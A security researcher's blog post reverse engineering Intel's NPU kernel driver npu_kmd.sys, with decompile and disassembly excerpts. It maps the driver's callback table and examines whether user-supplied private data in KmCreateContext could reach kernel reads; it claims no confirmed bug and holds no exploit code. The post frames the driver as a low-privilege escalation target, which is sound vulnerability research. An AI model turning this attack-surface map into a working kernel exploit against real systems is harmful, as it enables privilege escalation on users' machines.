Foreword

After working a bit on Nvidia driver installers/drivers, and tooling for binary analysis, I decided to look for another cool project. Since I am constantly on foot, going between courses or cities, my laptop stays almost all the time with me. It was just recently when I found about the NPU chip that comes with my Intel Ultra CPU on the laptop. Never before I needed this so-called “AI boost” in an application of mine. However, I still think it is quite cool piece of tech.

The first thing I decided to take on is running some local models on it and even made a small harness to deal with on-device translation using these NPU-loaded models. Intel NPUs, however, are optimized for running only OpenVINO models. You can learn what is OpenVINO here –> link. The key features span from easy integration such as multi-framework support (PyTorch, TensorFlow, TensorFlow Lite, PaddlePaddle, ONNX), optimized deployment and improved performance of LLMs on consumer Intel hardware.

As a sec guy, I also started fooling around. I went from poking at loaded weights and went all the way to trying to reverse the drivers for this. And so, this is my in-progress reverse engineering against a relatively obscure Windows kernel driver (while there are some relatively similar jobs done in the past, nothing explains the operations of the security-relevant mechanics. If there are and you can link them, please do send them to me, so I can include them here). Cool posts on this topic:

• Reversing and Exploiting Samsung’s Neural Processing Unit
• Fall of the machines: Exploiting the Qualcomm NPU (neural processing unit) kernel driver

So, what is this post? - It’s an architecture map and documentation, not a vulnerability disclosure. It contains no confirmed bug and I don’t claim one (still ;p). Its purpose is to record how npu_kmd.sys is built, how it attaches to the Windows graphics stack, and how an MCDM miniport of this kind is reverse engineered, so the work is reusable as a starting point for anyone auditing this driver or a comparable one. Work paused here for other bug bounties and ideas, but more on this is in the end. This is the first post out of several others that will be coming out, with each one being more offensive than the previous. Right now, let’s start slow and understand the whole scene.

The target driver is npu_kmd.sys, identified as Intel(R) NPU Driver from Intel(R). It is a kernel-mode binary that sits behind both the Microsoft DirectX graphics stack (through the D3D12 user-mode driver path) and the OpenVINO Level Zero stack, mediating access to Intel’s Neural Processing Unit (the “AI Boost” device in Device Manager, Windows).

Figure 1 shows where npu_kmd.sys attaches in the Windows graphics dispatch hierarchy. The display path (grey) connects to dxgkrnl via WDM device objects with IRP-based dispatch. The NPU compute path (blue) connects via MCDM DDI callback registration. It creates no device object and exposes no IOCTL endpoint. Section 3 develops this distinction in full.

1. Why the Intel NPU is an interesting target

There are three things make the Intel NPU driver an attractive research target.

It is new. Intel has been shipping a discrete NPU as part of the consumer CPU package only since Meteor Lake’s launch in late 2023. The Windows driver has gone through dozens of revisions with each release adding features and DDI surface. New code is obviously more bug-prone than mature code, and Intel itself has disclosed three “improper conditions check” CVEs in this driver family within a single advisory (INTEL-SA-01403), all patched in version 32.0.100.4297.

It has a Linux counterpart (here). The mainline Linux kernel has shipped the ivpu driver (in drivers/accel/ivpu/) since kernel 6.3. The Linux driver is open source, well-commented, and shares the firmware IPC protocol (the JSM, or Job Submission Messages, API defined in vpu_jsm_api.h) with the Windows driver. This makes Linux useful as it can be used for newcomers to understand foundations and also to, sometimes, be used when decompiling produces an unhelpful output of a Windows function that constructs a JSM message, the Linux source for the same operation is a translatable reference or at least it may be able to help even a bit.

It is reachable from low-privilege contexts. The NPU is accessible via DirectML, which any unprivileged Windows process can use, and via Level Zero, which is similarly accessible. Any vulnerability in this driver is therefore reachable without elevated privileges on the host. That makes the privilege escalation impact direct: an LPE in npu_kmd.sys is, by definition, exploitable from a normal user account.

2. Unpacking the installer

The Intel NPU Windows driver ships as a single self-extracting executable: npu_win_32_0_100_4723.exe. The outer wrapper is a standard PE32+ x86-64 executable produced with an SFX (self-extracting archive) version 3.12.0.0 toolchain. Its only purpose is to extract a RAR5 solid archive and invoke the actual installer.

The archive is solid, individual files cannot be extracted separately so the entire stream must be decompressed in sequence. The archive is extracted with 7-Zip rather than by executing the SFX.

The unpacked tree contains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unpacked_npu/
├── installation_readme.txt
├── Installer.exe                    # GUI driver installer, 74.7 MB - runs as Administrator
└── NPU/
    ├── npu.cat                      # Authenticode catalog (WHQL signature chain)
    ├── npu.inf                      # Plaintext driver manifest
    ├── npu_kmd.sys                  # Kernel-mode driver - PRIMARY TARGET
    ├── npu_blob_parser.dll          # Neural network blob parser
    ├── npu_d3d12_umd.dll            # DirectX 12 / DirectML user-mode driver
    ├── npu_driver_compiler.dll      # On-device model compiler (77 MB)
    ├── npu_level_zero_umd.dll       # Level Zero user-mode driver
    ├── tbb12.dll                    # Intel TBB 2021 runtime
    ├── tbbmalloc.dll                # TBB scalable allocator
    ├── ze_loader.dll                # Level Zero loader / dispatcher
    ├── ze_tracing_layer.dll
    ├── ze_validation_layer.dll
    ├── third-party-programs.txt
    └── firmware/
        ├── npu27_firmware.bin       # VPU 2.7 - Meteor Lake
        ├── npu4_firmware.bin        # VPU 4.0 - Arrow Lake
        ├── npu5_firmware.bin        # VPU 5.0 - Lunar Lake
        ├── npu5_hws_firmware.bin    # VPU 5.0 HW scheduler firmware
        └── npu5_oss_firmware.bin    # VPU 5.0 OSS component

The .inf file is plaintext and is the first artifact to read on any Windows driver target. It is the manifest that tells the operating system what hardware to bind the driver to, what service name to register, what filesystem destinations the files copy to, and what registry keys to create. For this target, the relevant entries reveal hardware IDs:

• PCI\VEN_8086&DEV_7D1D (Meteor Lake)
• PCI\VEN_8086&DEV_AD1D (Arrow Lake)
• PCI\VEN_8086&DEV_643E (Lunar Lake)
• Service name. The service-name detail matters more than it should - see Section 7.1.

The installer’s structure matters too. Installer.exe is large (74.7 MB), runs at Administrator privilege during driver installation, and on Intel’s tradition of installer-side bugs, is itself a candidate for privilege escalation through DLL hijacking or unsafe directory creation. (As of now, I haven’t inspected more deeply the installer mechanics)

3. Architecture of npu_kmd.sys

Some readers might have the following assumption - npu_kmd.sys to be a conventional WDM or KMDF driver - a driver that creates a device object, registers IOCTL handlers via DriverObject-->MajorFunction[IRP_MJ_DEVICE_CONTROL] (WDM) or via a KMDF EvtIoDeviceControl callback, and accepts requests from user mode via DeviceIoControl. Most Linux DRM-style drivers translate to Windows as KMDF, and the Linux ivpu reference uses the DRM IOCTL pathway. The natural expectation is that the Windows port preserves the IOCTL surface.

However, this assumption is wrong, and recognizing that it is wrong was important and it is something new that I learnt.

npu_kmd.sys is an MCDM driver. MCDM stands for Microsoft Compute Driver Model, and it is the kernel-side framework Microsoft introduced for compute-only accelerators that participate in the graphics dispatch infrastructure without exposing display capabilities. MCDM drivers register themselves with dxgkrnl.sys (the DirectX graphics kernel) as miniports. They do not maintain their own IOCTL dispatch table. They do not create their own device object with an IOCTL endpoint. Part of their attack surface is the DDI callback table they hand to dxgkrnl during registration, which dxgkrnl then invokes on their behalf when user-mode D3DKMT calls (the kernel-mode-thunk D3D kernel interface) arrive from above.

Figure 2 - MCDM architecture overview.

A WDM driver imports IoCreateDevice, IoCreateSymbolicLink, and IofCompleteRequest. A KMDF driver imports WdfDriverCreate, WdfDeviceCreate, and WdfIoQueueCreate. npu_kmd.sys imports neither set.

Enumeration of the PE import table (Ghidra Symbol Tree → Imports) resolves imports from exactly four modules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTOSKRNL.EXE   ExAllocatePool2, ExAllocatePoolWithTag, ExFreePoolWithTag,
               IoAllocateMdl, IoBuildDeviceIoControlRequest,
               IoGetCurrentProcess,
               IoRegisterDeviceInterface, IoRegisterPlugPlayNotification,
               IoWMIRegistrationControl, KeAcquireInStackQueuedSpinLock,
               MmProbeAndLockPages, MmMapLockedPagesSpecifyCache,
               ObReferenceObjectByHandle, ProbeForRead, ProbeForWrite,
               PsCreateSystemThread, RtlGetVersion, ZwLoadDriver, ... (and others)
               
HAL.DLL        KeQueryPerformanceCounter, KeStallExecutionProcessor

KSECDD.SYS     BCryptOpenAlgorithmProvider, BCryptHashData, BCryptFinishHash, ...

WPPRECORDER.SYS imp_WppRecorderConfigure

Full list: Full import table of npu_kmd.sys

Two observations follow directly from this list. First, the absence of IoCreateDevice/IoCreateSymbolicLink confirms the driver creates no device object of its own, and the absence of any Wdf* import confirms it is not KMDF-bound. Second, there is no static import of dxgkrnl.sys either. The driver does not link against the graphics kernel at load time. The MCDM interface is instead acquired dynamically at runtime: DriverEntry populates a callback structure and hands it to an internal routine (IntelNPU_FrameworkInit) that acquires the dxgkrnl interface through IntelNPU_DxgkAcquireInterface__ and negotiates an interface IOCTL code via DlpGetIoctlCode. The classification of this driver as an MCDM miniport therefore rests on the absence of both the WDM and KMDF marker sets combined with the presence of this runtime interface-negotiation path, not on a static dxgkrnl import. The functions the driver registers with dxgkrnl are detailed below.

The function the loader calls at DriverEntry does not establish an IOCTL endpoint. It zero-initializes a callback structure (a stack local, cleared with memset(&Callbacks, 0, 0x608)), populates it with function pointers, and passes it to IntelNPU_FrameworkInit, which forwards it to dxgkrnl after acquiring the graphics-kernel interface. The structure is identified internally as a DriverCallbacks block; its first dword is a version field (Callbacks._0_4_ = 0x11008 in the analyzed build).

The slot population is extensive, and the full set is mapped. Across DriverEntry, the structure receives 79 distinct writes: one 4-byte version field at offset 0, 50 unconditional 8-byte callback pointers, and 28 further 8-byte pointers gated behind Windows build-number checks. The complete enumeration was produced by walking every write into the [base, base+0x608) stack region in the DriverEntry decompilation and reading the build-number predicate that dominates each gated write; the slot offsets below are decimal, matching Ghidra’s Callbacks._NNN_S_ field notation. The unconditional core is listed first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// --- version field ---
Callbacks._0_4_      = 0x11008;                  // structure / interface version

// --- unconditional callback pointers (50), by struct offset ---
Callbacks._8_8_      = thunk_FUN_140005420;      // OnInitialize (decompiler-named)
Callbacks._16_8_     = FUN_1403aac70;            // OnStart (swapped to IntelNPU_OnStart_DxgkInterposer inside FrameworkInit)
Callbacks._24_8_     = FUN_1403aadd0;
Callbacks._32_8_     = FUN_1403aae40;
Callbacks._40_8_     = FUN_140010940;
Callbacks._48_8_     = FUN_140002640;
Callbacks._56_8_     = FUN_1400026d0;
Callbacks._64_8_     = FUN_140010900;
Callbacks._72_8_     = FUN_140010910;
Callbacks._80_8_     = FUN_140010920;
Callbacks._88_8_     = FUN_1400027c0;
Callbacks._104_8_    = FUN_1400108f0;
Callbacks._112_8_    = FUN_1403aacf0;            // OnStop (decompiler-named)
Callbacks._136_8_    = FUN_140002c60;
Callbacks._144_8_    = FUN_140003130;
Callbacks._152_8_    = FUN_140032560;
Callbacks._160_8_    = FUN_1400327d0;
Callbacks._168_8_    = FUN_140032910;
Callbacks._176_8_    = FUN_140032c60;
Callbacks._216_8_    = FUN_140003430;
Callbacks._224_8_    = FUN_140003390;
Callbacks._256_8_    = FUN_140002870;
Callbacks._264_8_    = FUN_1400028f0;
Callbacks._272_8_    = FUN_140002740;
Callbacks._280_8_    = FUN_140002960;
Callbacks._400_8_    = FUN_1400031e0;
Callbacks._408_8_    = FUN_1400329f0;
Callbacks._416_8_    = FUN_140032ba0;
Callbacks._464_8_    = KmCreateContext_Wrapper;  // FUN_140002ed0 -> KmCreateContext (FUN_14001ee70), Section 4
Callbacks._472_8_    = FUN_140002fc0;            // adjacent slot - destroy-context candidate
Callbacks._568_8_    = FUN_140002b40;
Callbacks._576_8_    = FUN_140003630;
Callbacks._584_8_    = FUN_1400036c0;
Callbacks._592_8_    = FUN_140003760;
Callbacks._640_8_    = FUN_140002be0;
Callbacks._664_8_    = FUN_140003250;
Callbacks._696_8_    = FUN_140002cf0;
Callbacks._704_8_    = FUN_140002e10;
Callbacks._720_8_    = FUN_140003950;
Callbacks._728_8_    = FUN_1400032e0;
Callbacks._736_8_    = FUN_14003d3c0;
Callbacks._768_8_    = FUN_1400034e0;
Callbacks._776_8_    = FUN_140003590;
Callbacks._816_8_    = FUN_140010930;
Callbacks._856_8_    = FUN_140032c30;
Callbacks._1104_8_   = FUN_140010950;
Callbacks._1112_8_   = FUN_1400049f0;
Callbacks._1120_8_   = FUN_140004a30;
Callbacks._1520_8_   = FUN_140002a50;
Callbacks._1528_8_   = FUN_140003060;            // highest populated offset

The complete map, covering all 79 slots with decimal and hex offset, write size, resolved target, and build-number gate, is also provided as a standalone, sortable HTML companion:

Full DriverEntry callback-slot map

Several structural facts follow from the complete map. The context-creation slot is offset _464, holding KmCreateContext_Wrapper (FUN_140002ed0), which in turn invokes KmCreateContext (FUN_14001ee70) (the function is analyzed in Section 4), and its immediate neighbor _472 (FUN_140002fc0) is the natural destroy-context candidate. The decompiler recovers three slots under symbolic names rather than raw offsets: OnInitialize at _8, OnStart at _16, and OnStop at _112. The lifecycle handlers cluster in the driver’s own 0x1403aaXXX range (OnStart = FUN_1403aac70, OnStop = FUN_1403aacf0, with _24/_32 = FUN_1403aadd0/FUN_1403aae40 adjacent); the bulk of the remaining unconditional slots point into the FUN_140002xxx–FUN_140004xxx and FUN_14003xxxx ranges, and a small post-version cluster (_40, _64, _72, _80, _104, _816, _1104) targets the contiguous FUN_1400108f0–FUN_140010950 group.

The second structural fact is that a large part of the callback surface is conditional on the Windows build number, gated by three RtlGetVersion-driven thresholds. This is not a handful of slots, but it accounts for 28 of the 79 writes, and the great majority activate only on the 24H2 development line:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// build > 21999  (Windows 11 21H2 / build 22000+)  --  1 slot
if (21999 < local_148.dwBuildNumber) {
    Callbacks._208_8_  = FUN_1400038a0;
}

// build > 24999  (25000+, the 24H2 line; 24H2 RTM is build 26100)  --  26 slots
if (24999 < local_148.dwBuildNumber) {
    Callbacks._880_8_  = FUN_140003a30;
    Callbacks._888_8_  = FUN_140003a40;
    Callbacks._896_8_  = FUN_140003a50;
    Callbacks._904_8_  = FUN_140003b20;
    Callbacks._912_8_  = FUN_140003dc0;
    Callbacks._920_8_  = 0;                  // explicitly zeroed under this gate
    Callbacks._928_8_  = FUN_140003ba0;
    Callbacks._1032_8_ = 0;                  // explicitly zeroed under this gate
    Callbacks._1056_8_ = FUN_140003f40;
    Callbacks._1064_8_ = FUN_140003eb0;
    Callbacks._1072_8_ = FUN_140004280;
    Callbacks._1080_8_ = FUN_140004030;
    Callbacks._1088_8_ = FUN_140004130;
    Callbacks._1096_8_ = FUN_1400041e0;
    Callbacks._1144_8_ = FUN_140003c50;
    Callbacks._1152_8_ = FUN_140004270;
    Callbacks._1160_8_ = 0;                  // explicitly zeroed under this gate
    Callbacks._1168_8_ = FUN_140003ce0;
    Callbacks._1296_8_ = FUN_140004330;
    Callbacks._1304_8_ = FUN_140004790;
    Callbacks._1312_8_ = FUN_140004500;
    Callbacks._1320_8_ = FUN_1400045f0;
    Callbacks._1488_8_ = FUN_1400043f0;
    Callbacks._1496_8_ = FUN_1400046e0;
    Callbacks._1504_8_ = FUN_140004820;
    Callbacks._1512_8_ = FUN_140004910;
}

// build > 26999  (27000+, post-24H2 / canary)  --  1 slot
if (26999 < local_148.dwBuildNumber) {
    Callbacks._120_8_  = FUN_140004290;
}

Also, two observations follow. First, the miniport’s callback surface is genuinely OS-version-dependent: 26 of its slots, the FUN_140003a30–FUN_140004910 cluster, consistent with the Windows 11 24H2 hardware-scheduling (HWS) path, are simply absent on systems older than build 25000, and a 27th (_120) appears only on 27000+. Second, three of the 24H2-gated writes (_920, _1032, _1160) are explicit zeroings rather than function-pointer installs: on 24H2 the driver actively clears those slots, which a pre-24H2 system never touches after the initial memset. The populated structure is then handed, after a preparatory IntelNPU_PreFrameworkInit() call, to IntelNPU_FrameworkInit(DriverObject, RegistryPath, &Callbacks), the routine that forwards it to dxgkrnl, and the whole population runs only inside the success branch of a DriverObject/RegistryPath non-NULL check.

A note on the cleared region versus the slot offsets, since the two can look inconsistent at first look. The structure is cleared with memset(&Callbacks, 0, 0x608), and 0x608 is 1544 in decimal. The slot offsets in the Callbacks._NNN_8_ notation are themselves decimal (Ghidra’s convention) so _640, _896, and the highest assignment _1528 are decimal offsets 640, 896, and 1528, not hex. _1528 writes eight bytes ending at offset 1536, still below 1544. Every callback slot is therefore written inside the zero-initialized block; there is no write into uninitialized stack space, and the memset size is not a defect.

This fact makes any IOCTL-fuzzing plan against this driver, pointless. Searching the binary for WdfIoQueueCreate finds nothing. Searching for IRP_MJ_DEVICE_CONTROL finds nothing. One actual attack surface is the set of DDI callback functions enumerated above, reached from user mode through the D3DKMT API exported by gdi32.dll (functions like D3DKMTCreateContext, D3DKMTSubmitCommand, D3DKMTEscape), which dispatches through win32k.sys into dxgkrnl.sys, which then invokes the registered DDI on the miniport.

Figure 3 - Driver initialization and callback-structure registration.

Figure 4 - D3DKMT user-mode-to-DDI dispatch path

This is structurally different from a conventional driver in three ways that matter for vulnerability research.

The trust boundary sits between dxgkrnl and the miniport, not between user mode and the miniport. Anything the miniport receives has already been processed by dxgkrnl, which has its own validation layer. Whether dxgkrnl probes and copies user pointers before handing them to the miniport, or passes them through raw, is a question that has to be answered separately for each DDI. The DDI prototype (the function signature) is documented by Microsoft, but the semantics of what dxgkrnl does before invoking the DDI are not always documented in detail.

Figure 5. Trust boundary (dxgkrnl validates <—> miniport assumes)

The miniport’s namespace is owned by dxgkrnl. The miniport does not own its own device object. \\.\IntelNPU0 does not exist. The user-mode entry point is D3DKMTOpenAdapterFromLuid, which goes through dxgkrnl, which routes through to the appropriate miniport based on the LUID. This means any user-mode harness has to use the D3DKMT API, not CreateFile on a named device.

Driver Verifier behaves differently against an MCDM miniport than against a WDM driver. Special Pool, IRQL checking, and pool tracking are allocation- and code-path-scoped checks and apply to the miniport’s allocations in the standard way; Microsoft’s Driver Verifier documentation (the “Driver Verifier options and rule classes” reference on learn.microsoft.com) describes these option scopes. The I/O verification class, by contrast, instruments the IRP dispatch path, and an MCDM miniport exposes no such path, so those checks have no targets on this driver. This split follows from which option classes are code-path-scoped versus IRP-dispatch-scoped, so it can be stated from the driver’s static structure alone; a live verifier /query on the test machine would only echo the same conclusion.

4. Static analysis of the KmCreateContext DDI

With the MCDM architecture established, the natural starting point is the simplest DDI in the callback table that takes user-controlled data: DxgkDdiCreateContext. In the Intel binary the miniport’s implementation is internally named KmCreateContext (FUN_14001ee70); the callback slot _464 holds its wrapper KmCreateContext_Wrapper (FUN_140002ed0). The function identity is supported by an embedded build path in the debug strings: D:\qb\workspace\33077\source\npu-driver\Source\Kmd\render\KmContext.c and a source line argument (0x7b) passed to the logging helper.

KmCreateContext receives two arguments. Its prologue, as disassembled by Ghidra, establishes the calling convention and the early validation gate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
14001ee70  PUSH RBX
14001ee72  PUSH RDI
14001ee73  PUSH R13
14001ee75  PUSH R14
14001ee77  PUSH R15
14001ee79  SUB RSP,0x70
14001ee7d  MOV R15,qword ptr [RCX + 0x8]   ; R15 = device context from arg1+8
14001ee81  MOV R14,RDX                     ; R14 = the DDI argument structure
14001ee84  MOV RBX,RCX                     ; RBX = arg1 (adapter/process context)
14001ee87  TEST R15,R15
14001ee8a  JZ 0x14001f4da                  ; bail if device context is NULL
14001ee90  MOV EDX,dword ptr [R15 + 0xa8]
14001ee99  MOV ECX,EDX
14001ee9b  AND ECX,0x10
14001ee9e  TEST R14,R14
14001eea1  JZ 0x14001f4da                  ; bail if the DDI argument is NULL
14001eea7  TEST ECX,ECX
14001eea9  MOV EAX,EDI
14001eeab  SETNZ AL
14001eeae  INC EAX                         ; EAX = ((flags & 0x10) != 0) + 1
14001eeb0  CMP dword ptr [R14 + 0x8],EAX    ; compare arg+0x8 against that limit
14001eeb4  JNC 0x14001f4da
14001eeba  CMP qword ptr [R14 + 0x18],RDI   ; arg+0x18 (a pointer field) vs 0
14001eebe  JZ 0x14001eecb
14001eec0  CMP dword ptr [R14 + 0x20],0x1e  ; arg+0x20 compared against 0x1e
14001eec5  JNZ 0x14001f4da

The second argument (RDX, aliased to R14 in the prologue) is the DDI argument structure. The disassembly is the definitive reference for the offsets accessed on it: a 4-byte field at +0x8, a pointer-width field at +0x18, and a 4-byte field at +0x20.

Microsoft documents the DXGKARG_CREATECONTEXT structure in the DDK header d3dkmddi.h (_DXGKARG_CREATECONTEXT reference, learn.microsoft.com). The documented declaration is:

1
2
3
4
5
6
7
8
9
typedef struct _DXGKARG_CREATECONTEXT {
  HANDLE                  hContext;            // [out]
  UINT                    NodeOrdinal;         // [in]
  UINT                    EngineAffinity;      // [in]
  DXGK_CREATECONTEXTFLAGS Flags;               // [in]
  VOID                   *pPrivateDriverData;  // [in]
  UINT                    PrivateDriverDataSize;// [in]
  DXGK_CONTEXTINFO        ContextInfo;          // [out]
} DXGKARG_CREATECONTEXT;

On the x64 ABI this places hContext at offset 0x00, NodeOrdinal at 0x08, EngineAffinity at 0x0C, Flags at 0x10, pPrivateDriverData at 0x18, PrivateDriverDataSize at 0x20, and the ContextInfo output region from 0x24 (no padding follows the 4-byte PrivateDriverDataSize, since ContextInfo’s leading member is itself a 4-byte-aligned UINT). Per Microsoft’s description, pPrivateDriverData is a pointer to a block of private data passed from the user-mode display driver to the miniport; dxgkrnl does not interpret its contents. The miniport is the only consumer that parses it.

Note that hContext is the first field of the structure, at offset 0x00, and is an [out] handle the miniport fills in. This layout fact is important for interpreting the +0x20 comparison discussed in Section 4.1 and for the structural questions raised in Section 4.2.

4.1 What the static analysis showed

KmCreateContext allocates a 0x2c18-byte (11,288-byte) per-process VPU context object. The allocation is not a direct ExAllocatePool2 call; it goes through an internal pool-allocation wrapper, FUN_140041d30, observed in the decompile as:

1
2
3
4
puVar10 = (undefined8 *)
          FUN_140041d30(lVar3, 0, 0x2c18, 0, uVar13,
                        "D:\\qb\\workspace\\33077\\source\\npu-driver\\Source\\Kmd\\render\\KmContext.c",
                        "KmCreateContext", 0x7b, 0);

The corresponding disassembly confirms the size and the pool-tag immediates:

1
2
14001efc3  MOV R8D,0x2c18                       ; allocation size
14001efc9  MOV dword ptr [RSP + 0x20],0x20504d40 ; pool tag

A second, smaller allocation of 0x60 bytes is made later in the same function for a hardware-queue object, using the same wrapper and the same tag (14001f26b: MOV R8D,0x60; 14001f274: MOV dword ptr [RSP+0x20],0x20504d40). The tag constant 0x20504d40 is, in the in-memory little-endian byte order that WinDbg !pool displays, the ASCII string @MP (bytes 40 4d 50 20). The tag should be confirmed against a live !pool query before being stated as definitive.

The 0x1e comparison in the prologue requires careful reading. In a Ghidra database with a DXGKARG_CREATECONTEXT structure applied to the second argument, the decompiler renders the comparison as:

1
2
3
4
5
lVar4._0_4_ = param_2->PrivateDriverDataSize;
lVar4._4_4_ = param_2->Padding2;
if ((lVar4 != 0) && (*(int *)&param_2->hContext != 0x1e)) {
    return -0x3ffffff3;
}

The comparison is against the field the applied structure labels hContext. Per the documented layout reproduced in Section 4 (hContext at offset 0x00), and per the prologue disassembly (CMP dword ptr [R14 + 0x20],0x1e), the value compared against 0x1e is the 4-byte field at argument offset +0x20. Under the documented Microsoft layout, offset +0x20 is PrivateDriverDataSize.

The decompile field names are unreliable here and the structure applied to param_2 is misaligned relative to the documented DXGKARG_CREATECONTEXT, which is why it labels the +0x20 field as hContext (a field the documented layout places at +0x00). The raw disassembly is the authority, and it is unambiguous: the dword compared against 0x1e sits at argument offset +0x20, and the read immediately before it (CMP qword ptr [R14 + 0x18],RDI) is a non-zero test on the pointer-width field at +0x18. Under the documented layout, +0x18 is pPrivateDriverData and +0x20 is PrivateDriverDataSize.

The check is therefore a size check, and an exact-equality one: if pPrivateDriverData (+0x18) is non-NULL, then PrivateDriverDataSize (+0x20) must equal exactly 0x1e (30 bytes), or the call is rejected. It is not a type/version tag. This matters for the dereference-reachability question below: the five blob reads top out at +0x1d (byte 29), which is in bounds of a 0x1e-byte buffer so a buffer too small to satisfy the reads is rejected at this gate, and a buffer of any size other than exactly 0x1e is rejected.

At first I thought that there are five distinct dereferences of the pPrivateDriverData blob at offsets +0x10, +0x14, +0x18, +0x1c, and +0x1d, but a first automated pass did not reproduce that set and the offset map came back empty (bruh), but that empty result is itself also useful. The extractor’s dereference inventory was written to match an untyped decompile: it searched for a local assigned from param_2[3]. Run against a database with a struct applied, the decompiler emits the field-name form (param_2->PrivateDriverDataSize) instead, which that pattern cannot match, so the inventory returned nothing. The reads themselves are present and are read directly from the disassembly. The relevant excerpt:

1
2
3
4
5
6
7
8
9
lVar6 = *(longlong *)&param_2->PrivateDriverDataSize;
/* ... */
if (lVar6 != 0) {
    *(bool *)(puVar10 + 0x56c) = *(int *)(lVar6 + 0x10) != 0;
    *(bool *)((longlong)puVar10 + 0x2b61) = *(int *)(lVar6 + 0x14) != 0;
    FUN_14001fdb0(*(undefined4 *)(lVar6 + 0x18), puVar10 + 0xb,(longlong)puVar10 + 0x5c);
    *(undefined1 *)((longlong)puVar10 + 100)  = *(undefined1 *)(lVar6 + 0x1c);
    *(undefined1 *)(puVar10 + 0x56b) = *(undefined1 *)(lVar6 + 0x1d);
}

The reads at lVar6 + 0x10/0x14/0x18/0x1c/0x1d are real and gated only by lVar6 != 0. And lVar6 is the pPrivateDriverData pointer. This is established by the prologue disassembly, independently of any applied struct. lVar6 is assigned *(longlong *)&param_2->PrivateDriverDataSize; the misapplied struct places its PrivateDriverDataSize field at argument offset +0x18, which is the low dword of the eight-byte value the prologue tests with CMP qword ptr [R14+0x18],RDI. Argument offset +0x18 is, under the documented DXGKARG_CREATECONTEXT layout, exactly pPrivateDriverData, and the prologue’s non-zero comparison treats +0x18 as a pointer-width field. So lVar6 is a read of the documented pPrivateDriverData pointer, and the five reads off it are dereferences of the private-data blob. The original “five dereferences” description was correct, for the reason given above…

The reads are now gated by two things, both visible statically: the exact-0x1e size check in the prologue, and the lVar6 != 0 non-NULL test. What static reading cannot settle is whether lVar6 points into a kernel buffer that dxgkrnl sized and owns, or into user-controlled memory and that is the question the rest of this section delves into.

So what does all this say about it? I assume there are two possible runtime behaviors, distinguishable only at runtime. They are recorded here as the point at which static analysis of this DDI reaches its limit.

Behavior A: raw user pointer reaches the miniport. If dxgkrnl passes the user-mode pPrivateDriverData pointer through to KmCreateContext without capturing it into a kernel buffer, the lVar6 + 0x10 … +0x1d reads in KmCreateContext are reads from a user-controllable kernel-mode pointer. In that case, the dereferences would be reading whatever address the user supplied - including, if the user supplied a kernel address, the contents of kernel memory.

Behavior B: captured buffer; reads stay in bounds. If dxgkrnl captures pPrivateDriverData into a kernel pool buffer (the standard Microsoft “Full Capture” pattern), it allocates and copies PrivateDriverDataSize bytes. Because the prologue has already forced PrivateDriverDataSize to be exactly 0x1e, that buffer is exactly 0x1e (30) bytes, and the five reads, topping out at +0x1d, byte 29 - fall inside it. Under Full Capture, then, the dereferences are in-bounds reads of a correctly-sized kernel buffer - not a vulnerability on this path.

The two behaviors are mutually exclusive. Settling down between them requires observing the pointer dxgkrnl passes to the miniport at the instant of the DDI invocation, a runtime step outside the scope of this post. The static evidence does not stop at the miniport boundary, however: Section 5 traces the dxgkrnl side of the same path and establishes which of the two behaviors the static evidence supports.

4.2 The structure question: divergence or mis-application?

At the very beginning when I was looking at KmCreateContext I thought it accesses a structure that is different from the documented Microsoft DXGKARG_CREATECONTEXT layout. That’s why I named the structure INTEL_DXGKARG_CREATECONTEXT_EXT to mark it as a form of “vendor-extended layout”. The evidence gathered after that does not support that conclusion, though.

The table below compares the documented Microsoft layout against the offsets actually seen in KmCreateContext’s prologue, as read directly from the disassembly:

Read this way, the prologue accesses are consistent with the documented layout: a UINT at +0x08 (NodeOrdinal), a pointer at +0x18 (pPrivateDriverData), and a UINT at +0x20 (PrivateDriverDataSize). No divergence is required to explain them.

The asymmetry found earlier is instead a result of the Ghidra database: the DXGKARG_CREATECONTEXT structure type applied to the second argument is misaligned, which is why the decompiler labels the +0x20 field as hContext (a field that the documented layout places at +0x00). The decompile field names in the current database are therefore unreliable. (Another reason, to be conformable with reading Assembly as only the raw disassembly can confirm this)

All this is worth writing down, because it changes how the decompile reads. The decompile contains a field it calls param_2-->pPrivateDriverData that is only ever bit-tested (& 3, & 0x10, >> 4, & 1), never dereferenced as a pointer. By data-flow and by semantics, that mislabelled field is almost certainly the documented Flags field at +0x10: a & 0x10 test gating the hardware-queue allocation reads naturally as the HwQueueSupported flag bit. The actual pPrivateDriverData pointer is the eight-byte value at +0x18, which the same misaligned struct surfaces under the name PrivateDriverDataSize. The two are cross-wired by the bad struct type; the raw offsets are not affected by it.

The leading-field layout is therefore the standard documented DXGKARG_CREATECONTEXT, and the INTEL_DXGKARG_CREATECONTEXT_EXT naming is dropped. The trailing region is resolved as well. Re-decompiling KmCreateContext with the misapplied structure removed and reading the raw offsets directly, the writes into the output region land exactly on the documented DXGK_CONTEXTINFO members and nowhere beyond them:

• +0x24 DmaBufferSize (0x1000)
• +0x28 DmaBufferSegmentSet (a segment bitmask)
• +0x2c DmaBufferPrivateDataSize (0x1000)
• +0x30 AllocationListSize (0xaa)
• +0x34 PatchLocationListSize (0xaaa)
• +0x3c Caps (the first capability bit, set via |= 1).

DXGK_CONTEXTINFO is eight ULONGs spanning +0x24 through +0x43; the highest offset KmCreateContext touches is +0x3c (the Caps field, ending at +0x3f), with Reserved (+0x38) and PagingCompanionNodeId (+0x40) left at their post-memset zero.

5. Tracing the call chain through dxgkrnl

A note on decompiler variable names. From this section onward, decompiler output uses my explicit renaming convention rather than Ghidra’s auto-generated local names. Each renamed variable keeps its original name as a _PAST<ghidra_name> suffix, so any renamed variable is traceable back to the raw decompiler output. For the dxgkrnl CreateContext analysis the mapping is:

• local_148 –> input_struct - the user-mode D3DKMT_CREATECONTEXT
• local_138 –> user_PrivateDriverData_ptr_PASTlocal_138
• local_130 –> PrivateDriverDataSize_PASTlocal_130
• local_168 –> kernel_PrivateDriverData_copy_PASTlocal_168
• local_180 –> created_context_object_PASTlocal_180

